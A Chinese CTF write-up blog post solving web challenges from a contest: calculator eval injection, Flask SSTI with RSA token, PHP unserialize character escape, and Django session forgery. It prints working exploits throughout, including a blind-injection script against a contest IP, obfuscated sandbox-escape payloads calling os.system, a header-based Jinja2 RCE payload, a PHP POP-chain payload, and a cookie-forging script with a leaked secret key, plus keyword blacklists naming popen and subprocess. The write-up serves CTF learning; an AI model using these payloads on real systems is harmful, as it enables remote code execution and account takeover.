Author:颖奇L’Amore
Blog:www.gem-love.com
本次比赛因为参与出题了(web/checkin web/Subscribe misc/PhysicalHacker),就开了个小号主要是做做其他师傅的题,对分数排名也没啥追求,好多题做了也没交flag。然后因为安恒有规定,自己出的题就不写wp了,其他师傅的题也都很有意思,挑几个题写写wp
简单的计算题-1
考点:python布尔盲注
难度:简单
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from flask import Flask, render_template, request,session
from config import black_list,create
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
## flag is in /flag try to get it
@app.route('/', methods=['GET', 'POST'])
def index():
def filter(string):
for black_word in black_list:
if black_word in string:
return "hack"
return string
if request.method == 'POST':
input = request.form['input']
create_question = create()
input_question = session.get('question')
session['question'] = create_question
if input_question==None:
return render_template('index.html', answer="Invalid session please try again!", question=create_question)
if filter(input)=="hack":
return render_template('index.html', answer="hack", question=create_question)
try:
calc_result = str((eval(input_question + "=" + str(input))))
if calc_result == 'True':
result = "Congratulations"
elif calc_result == 'False':
result = "Error"
else:
result = "Invalid"
except:
result = "Invalid"
return render_template('index.html', answer=result,question=create_question)
if request.method == 'GET':
create_question = create()
session['question'] = create_question
return render_template('index.html',question=create_question)
@app.route('/source')
def source():
return open("app.py", "r").read()
if __name__ == '__main__':
app.run(host="0.0.0.0", debug=False)
两个计算器题目差不多,都是一个计算器
分析代码可知,他是有一个黑名单waf但是我们不知道是什么,然后就是eval(算式==input)
,并且有三种不同回显,很明显是要我们利用这个eval()
来读flag
最开始因为过滤不全可以直接用os.system()
一键打穿,后来修复了。那也很简单,就盲注一下就可以了,exp:
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests
import re
from urllib.parse import quote as urlencode
def main():
alphabet = ['{','}', '@', '_',',','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']
proxies={'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'}
data={"input":""}
s = requests.Session()
flag = ''
for i in range(0,100):
for char in alphabet:
try:
r = s.post("http://183.129.189.60:10026/", data={"input":""})
question = re.search(r"<h4>(.*)</h4>", r.content.decode(), re.M|re.I).group().replace("<h4>", "").replace("</h4>","")[:-1]
# print(question)
data["input"] = "{0} and '{2}'==(open('/flag','r').read()[{1}])".format(question, i, char)
r = s.post("http://183.129.189.60:10026/", data=data, proxies=proxies)
result = r.content.decode()
# print(char, end=' ')
# print(re.search(r"<h3>(.*)</h3>", result, re.M|re.I).group())
# print(data)
if r"Congratulations" in result:
flag += char
print(flag)
break
except Exception as e:
print("Exception: ", end='')
print(e)
if __name__ == '__main__':
main()
简单的计算题-2
考点:沙箱逃逸
难度:简单
这题我是非预期了,直接逃逸掉了题目所有过滤,虽然俩题的过滤不一样,但是我的payload对这俩题都通杀
其他地方代码都一样,主要是这里:
if request.method == 'POST':
input = request.form['input']
create_question = create()
input_question = session.get('question')
session['question'] = create_question
if input_question == None:
return render_template('index.html', answer="Invalid session please try again!", question=create_question)
if filter(input)=="hack":
return render_template('index.html', answer="hack", question=create_question)
calc_str = input_question + "=" + str(input)
try:
calc_result = str((eval(calc_str)))
except Exception as ex:
calc_result = "Invalid"
return render_template('index.html', answer=calc_result,question=create_question)
这里这个回显更直接,不过我觉得出题人这里不应该给回显,不然这俩题的难度区分实在是有点小。所以我想的是假装它没有任何回显,然后构造payload把题目打穿。很容易就要想到去bypass过滤然后执行系统命令,那么如何bypass?当然是sandbox escape
因为简单fuzz发现这俩题的blacklist还不一样,懒得fuzz这题了,直接准备一个万能payload绕过所有过滤就可以了。那么如何绕?只要实现关键字为字符串拼接不就行了,比如system
被过滤,但是总不能把's'+'y'+'s'+'t'+'e'+'m'
这样的给过滤吧。
沙箱逃逸老生常谈的话题,我也不想多介绍了,直接用getattr()
就行了,虽然getattr()
通常被用来bypass.
而本题.
并没有被过滤。
原型payload:
''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("ls")
bypass waf变种payload:
getattr(getattr(getattr(getattr(getattr(getattr(getattr([],'__cla'+'ss__'),'__mr'+'o__')[1],'__subclas'+'ses__')()[104],'__init__'),'__glob'+'al'+'s__')['sy'+'s'],'mod'+'ules')['o'+'s'],'sy'+'ste'+'m')('l'+'s')
这俩计算器题通杀,都能直接反弹shell:
当然,还有更简单的。。。
eval("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')") exec("o"+"s.s"+"y"+"s"+"t"+"e"+"m('wh"+"oa"+"m"+"i')")
把whoami改成反弹shell的就行了(不过只有第一天晚上可以用,后来就被修复了)。
easyflask
考点:RSA、Flask SSTI、Flask Session伪造(非预期可跳过这一步)
难度:困难
第一步是个baby rsa,输入N和e题目给返回c
然后求明文就好了,求出来的就是身份认证需要的token
之后用这个token身份认证,即可来到一个登录页面
输入{{7*7}},可以发现存在模板注入
可以看到下面这一句说我们不是admin,登录上是有session的,用flask session decoder解一下:
所以这题的大致意思应该是ssti读文件得到secret_key然后伪造session。
但是这个题过滤的实在是太多了,引号、中括号、()|
、|join
等等,过滤还得自己fuzz,我fuzz出来多少个过滤自己都数不过来。而且不仅用户名有过滤,url里也不能出现相关的黑名单关键字。
本题目没ban掉request,所以基本上就是用request.args.param
来绕过,我相信出题人也是这个意思,所以才对url也进行了过滤来保证最后SSTI只能用来文件读取并不能用来RCE。
但作为本次比赛承办方成员之一,本着测题的原则,还是决定一定要RCE,本地写了个flask结果还和题目环境不太一样,导致我好几个payload都本题打得通然后远程打不通。第一天比赛暂停后的1h(0:00)我偷偷开了这题的环境开始RCE,一直到4:30经过四个半小时努力,终于成功打穿。
本题目最大的坑在于:class会反复横跳 比如:
{{({}|attr(request.args.x1)|attr(request.args.x2)|attr(request.args.x3)())}}
现在构造的是list的子类所以变化不是很大,我最开始构造的payload,发了1000个包居然一个都没碰撞成功:
后来测试发现在list类下找东西好一些,因为刷新几下就又能得到相同的类了,不会像最初payload刷新1000遍都成功不了。
但是本题目最大的问题是在于如何绕过黑名单,在url上bypass基本上不可能了,因为字符串什么的都是被ban掉的。后来突然想到可以用header,request.headers
的类型为<class 'werkzeug.datastructures.EnvironHeaders'>
,一般是request.headers["User-Agent"]
这样来获取一个http头字段的值的,然而我们并不能用大括号和引号,看了他的属性也没找到合适的能获取某个字段值的方法
我尝试用元组转列表然后repr()
转字符串,然后再切片,经过一通操作,确实成功了,但是丢给flask直接出错,本地调试看到报错才突然想起来,repr()
这种函数在模板里都是Undiefined的!
但是后来测试发现,在Jinja2渲染时可以直接request.headers.User-Agent
这样获取一个header,那所有问题就直接迎刃而解了!能够获取到header意味着bypass了所有黑名单过滤,之后就是想办法把system()
给构造出来了。
构造时候也有几个坑:
()|
不能用,调用完函数再接上|attr()
时候可以把前面的括号多套一层括号来绕过- 找类的链子很重要,因为题目的class不是固定的
list
和dict
的__getitem__
用法不一样,前者直接index而后者需要键名(字符串)- 一步一步来,用
__subclasses__()
把所有子类打出来然后找合适的 - 无法反弹shell,
os.system()
无回显
其他就不多bb了,自己上手操作一下就感受到了,最终payload为:
{{(((({}|attr(request.headers.y1ng1)|attr(request.headers.y1ng2)))|attr(request.headers.y1ng4)(1)|attr(request.headers.y1ng3)())|attr(request.headers.y1ng4)(398)|attr(request.headers.y1ng5)|attr(request.headers.y1ng6)|attr(request.headers.y1ng4)(request.headers.y1ng7)(request.headers.y1ng8)).read()}}
其中y1ng8是要执行的命令,先把app.py的源码cat出来:
from flask import Flask,render_template,request,session,url_for,redirect,render_template_string
import os
import hashlib
app = Flask(__name__)
# fake
app.config['SECRET_KEY'] = "flag{265eac50c18fa6f255a1fc253dc7ff7b}"
flag = b'flag{265eac50c18fa6f255a1fc253dc7ff7b}'
token = hashlib.md5(flag).hexdigest()
@app.route('/',methods=['GET','POST'])
def index():
global token
message = {"info":"Give me your public key and I will give you token", "token":"null"}
if request.method == 'POST':
N = request.form.get('N') or None
e = request.form.get('e') or None
try:
if N is not None and e is not None:
message["info"] = pow(int.from_bytes(token.encode(), 'big'), int(e), int(N))
except:
message["info"] = "N or e wrong"
user_token = request.form.get('token') or None
if user_token == token :
session['token'] = token
return redirect(url_for('login'))
else:
message["token"] = "wrong"
return render_template('index.html', message = message)
@app.route('/login/',methods=['GET','POST'])
def login():
global token
if session.get('token',None)==token:
if request.method == 'POST':
username = request.form.get('username')
session['username'] = username
session['admin'] = False
return redirect(url_for('user'))
return render_template('login.html')
return redirect(url_for('index'))
def check(payload, url):
black_list = ['sys', 'dict', 'self', 'range', '|format', ']', 'namespace', 'popen', '[', 'timeit', 'os', '__class__', "'", 'pty', 'joiner', '"', 'g|', 'subprocess', '|join', 'config', 'commands', 'importlib', 'class', '_', 'url_for', 'system', 'import', 'eval', 'exec', 'lipsum', 'platform', 'request[request.', 'get_flashed_messages', 'cycler', '%2b', 'session', '()|', '+']
sys_list = ['sys', 'dict', 'self', 'range', '|format', ']', 'namespace', 'popen', '[', 'timeit', 'os', "'", 'pty', 'joiner', '"', 'g|', 'subprocess', '|join', 'config', 'commands', 'importlib', 'url_for', 'system', 'import', 'eval', 'exec', 'lipsum', 'platform', 'request[request.', 'get_flashed_messages', 'cycler', '%2b', 'session', '()|', '+']
for i in sys_list:
if url.find(i) != -1:
return False
for i in black_list:
if payload.find(i) != -1:
return False
return True
@app.route('/user/',methods=['GET'])
def user():
try:
if (session['username'] != "") and (request.method == 'GET') and session.get('token',None):
name = request.args.get('username') or session.get('username',None)
template = '''
<p>The girls in DASCTF are beautiful !</p></br>
<p>Congratulations on %s's girlfriend!</p>
<p>But admin is {{ session.admin }}!You can't get /flag</p>
''' % name
if name!="" and check(name,request.url):
return render_template_string(template, name=name)
else:
return "check error"
except:
template = '<h2>something wrong!</h2>'
return render_template_string(template)
@app.route('/flag/',methods=['GET'])
def get_flag():
if session.get('admin',None):
return os.getenv('FLAG')
return "No permission for true flag"
@app.errorhandler(404)
def page_not_found(e):
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
</div>
'''
return render_template_string(template)
这里面有个flag但是是假flag,那个只是secret_key,代码告知真正的flag在环境变量中,所以执行以下env就行了:
这里我payload用的是os.popen().read()
所以是有回显的。
如果是读文件,读完了源码得到了key,只要伪造session就好了:
之后带着session去访问http://xxx/flag即可得到flag
phpuns
考点:PHP反序列化字符逃逸
难度:普通
和四月月赛的反序列化大体一样
登录就把用户和密码存进session,然后对session反序列化。这过程中会进行字符替换造成字符逃逸:
function add($data)
{
$data = str_replace(chr(0).'*'.chr(0), '\0*\0', $data);
return $data;
}
function reduce($data)
{
$data = str_replace('\0*\0', chr(0).'*'.chr(0), $data);
return $data;
}
function check($data)
{
if(stristr($data, 'c2e38')!==False){
die('exit');
}
}
//序列化
$user = new User($username, $password);
$_SESSION['info'] = add(serialize($user));
//反序列化
check(reduce($_SESSION['info']));
$tmp = unserialize(reduce($_SESSION['info']));
class.php:
<?php
class User{
protected $username;
protected $password;
protected $admin;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
$this->admin = 0;
}
public function get_admin(){
return $this->admin;
}
}
class Hacker_A{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function __destruct() {
if(stristr($this->c2e38, "admin")===False){
echo("must be admin");
}else{
echo("good luck");
}
}
}
class Hacker_B{
public $c2e38;
public function __construct($c2e38){
$this->c2e38 = $c2e38;
}
public function get_c2e38(){
return $this->c2e38;
}
public function __toString(){
$tmp = $this->get_c2e38();
$tmp();
return 'test';
}
}
class Hacker_C{
public $name = 'test';
public function __invoke(){
var_dump(system('cat /flag'));
}
}
pop链很简单:
Hacker_A
的__destruct()
中将$this->c2e38
作为字符串比较,触发Hacker_B
的__toString()
__toString()
中通过调用$this->get_c2e38()
方法获取了Hacker_B
的$c2e38
属性并作为方法调用$tmp()
,进而触发Hacker_C
的__invoke()
方法
__invoke()
内system('cat /flag')
,得到flag
pop链构造好,然后字符逃逸注入对象,之后反序列化最终触发system()
即可。字符逃逸原理去看DASCTF四月月赛的Ezunserialize就好了,不再过多介绍了
exp:
输入如下用户名和密码:
username:y1ng\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0 password:";S:11:"\00*\00password";O:8:"Hacker_A":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_B":1:{S:5:"\63\32\65\33\38";O:8:"Hacker_C":1:{s:4:"name";s:4:"test";}}};s:1:"a";s:0:"
顺便说下,因为题目把c2e38
给ban了,所以用S:5:"\63\32\65\33\38"
来绕过,和用S+\00
来绕过chr(0)
是一样的,因为S
大写,后面字符串里就可以解析hex了
filecheck
考点:_io.TextIOWrapper类、Django session伪造
难度:难
显示随便注册登录,然后登录,在readable可以看是否有读取某个文件的权限
根据这个file参数,换成读取别的,被告知必须是xyz结尾的
因为昨天做easyflask时候发现出题人用了uri,然后这题和那个题是同一个人出的,我感觉可能相同办法,于是后面加了个参数果然就OK了
然后如果是不存在的文件,就会爆出file not found的错,说明这个功能可以探测文件是否存在
然而,这也没啥用。过了一会儿,一个偶然的小失误,因为吧readable手打给拼错了,直接爆出了重要信息
_io.TextIOWrapper
肯定无人不晓, f=open('/tmp/1,txt','r')
,然后f
就是<_io.TextIOWrapper name='/tmp/1.txt' mode='r' encoding='UTF-8'>
,然后用dir()
看下它的属性:
可以发现readable
实际上就是它的一个方法,他还有read
和readline
等可以读文件,所以直接调用read()
方法读文件:
比赛结束时有个师傅告诉我,这个任意文件读取可以直接非预期一把梭:
不过我当时没想起来这么用。。一时间卡住了不知道读什么文件好了。之后我就来fuzz,首先得知当前运行的文件肯定是在/xxx/
目录内,距离根目录只有一层
然后/app目录也是存在的,所以基本上flask就在/app目录下
可是读app.py没读到源码,之后就根据flask的常见layout开始逐个爆破
最后因为最开始的readable给了challenge文件夹,可能是个project,根据Structure of a Flask Project在里面读到了views.py
views.py里存了一些路由,没什么卵用,只是告诉我们那个sha256的token只是障眼法不需要爆破
def read_file(request):
if not request.session.get('is_login', None):
return redirect('/')
message = "Read"
# chen
token = request.GET.get('token') or None
try:
if hashlib.sha256(token.encode()).hexdigest()[:20] == '3abd72ec6352d6085d85':
error = "Not here.Be careful!"
return render(request, 'index/index.html', locals())
except Exception as error:
error = "sha256(GET[token])[:20] must be 3abd72ec6352d6085d85"
return render(request, 'index/index.html', locals())
return render(request, 'index/index.html', locals())
之后根据/proc/self/cmdline得到了manage.py,读取一下:
#!/usr/bin/env python
"""Django's command-line utility for administrative tasks."""
import os
import sys
def main():
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'hainep.settings')
try:
from django.core.management import execute_from_command_line
except ImportError as exc:
raise ImportError(
"Couldn't import Django. Are you sure it's installed and "
"available on your PYTHONPATH environment variable? Did you "
"forget to activate a virtual environment?"
) from exc
execute_from_command_line(sys.argv)
if __name__ == '__main__':
main()
从这个姜狗有关的代码中得到了一个关键字:hainep.settings
然后因为他自己也说了用了Django,并且还给了project的名叫hainep:
果然hainep这个文件夹是存在的
参考:
https://docs.djangoproject.com/en/2.2/topics/settings/
然后顺理成章连蒙再猜从hainep/settings.py中读到了django的settings
"""
Django settings for hainep project.
Generated by 'django-admin startproject' using Django 2.2.11.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn'
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False
ALLOWED_HOSTS = ['*']
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'challenge',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'hainep.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'hainep.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/
LANGUAGE_CODE = 'zh-hans'
TIME_ZONE = 'Asia/Shanghai'
USE_I18N = True
USE_L10N = True
USE_TZ = False
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/
STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
STATICFILES_DIRS = (
os.path.join(BASE_DIR, 'challenge/static/'),
)
得到SECRET_KEY = '&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn'
然后hint让看cookie,发现是django session,参考:
https://docs.djangoproject.com/en/2.2/topics/signing/
加上题目告诉访问/flag去获取flag,然后我们自己访问还没有权限,于是可以肯定这是个Django session伪造问题。参考:
https://althims.com/2019/10/25/client-session/
https://github.com/ustclug/hackergame2019-writeups/tree/master/official/%E8%A2%AB%E6%B3%84%E6%BC%8F%E7%9A%84%E5%A7%9C%E6%88%88
exp:
import os
os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')
from django.conf import settings
from django.core import signing
from django.contrib.sessions.backends import signed_cookies
from passlib.hash import pbkdf2_sha256
from django.contrib.auth.hashers import make_password, check_password
sess = signing.loads('.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyMjQ0MtcByefkp4PkS4pKYdJ5ibmpSlZKlYZ56Uq1ACNNFxA:1jokij:bIoWAUDVUDfSbXack05GuSCYKMk',
key='&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn',salt='django.contrib.sessions.backends.signed_cookies')
print(sess)
sess[u'is_admin'] = True
print(sess)
s= signing.dumps(sess, key='&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn',compress=True, salt='django.contrib.sessions.backends.signed_cookies')
print(s)
可以发现成功伪造成为了管理员,并得到了新的session
带着新cookie去访问flag即可得到flag:
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://www.gem-love.com/ctf/2401.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示
filecheck那个题目其实没有404页面,在URL后面输入一个不存在的地址一直都会跳到Readable页面,这可能是个提示吧
filecheck没有404页面,不存在的页面回显是Readable页面,这可能是个提示
最开始404页面会显示host,所以直接在HOST字段无过滤SSTI打穿,一血就这么拿的,后来修复了
Dashboard 哪个有答案吗。。登陆绕过进去了 然后干啥。。
有规定,签了合同的,不能透露题目细节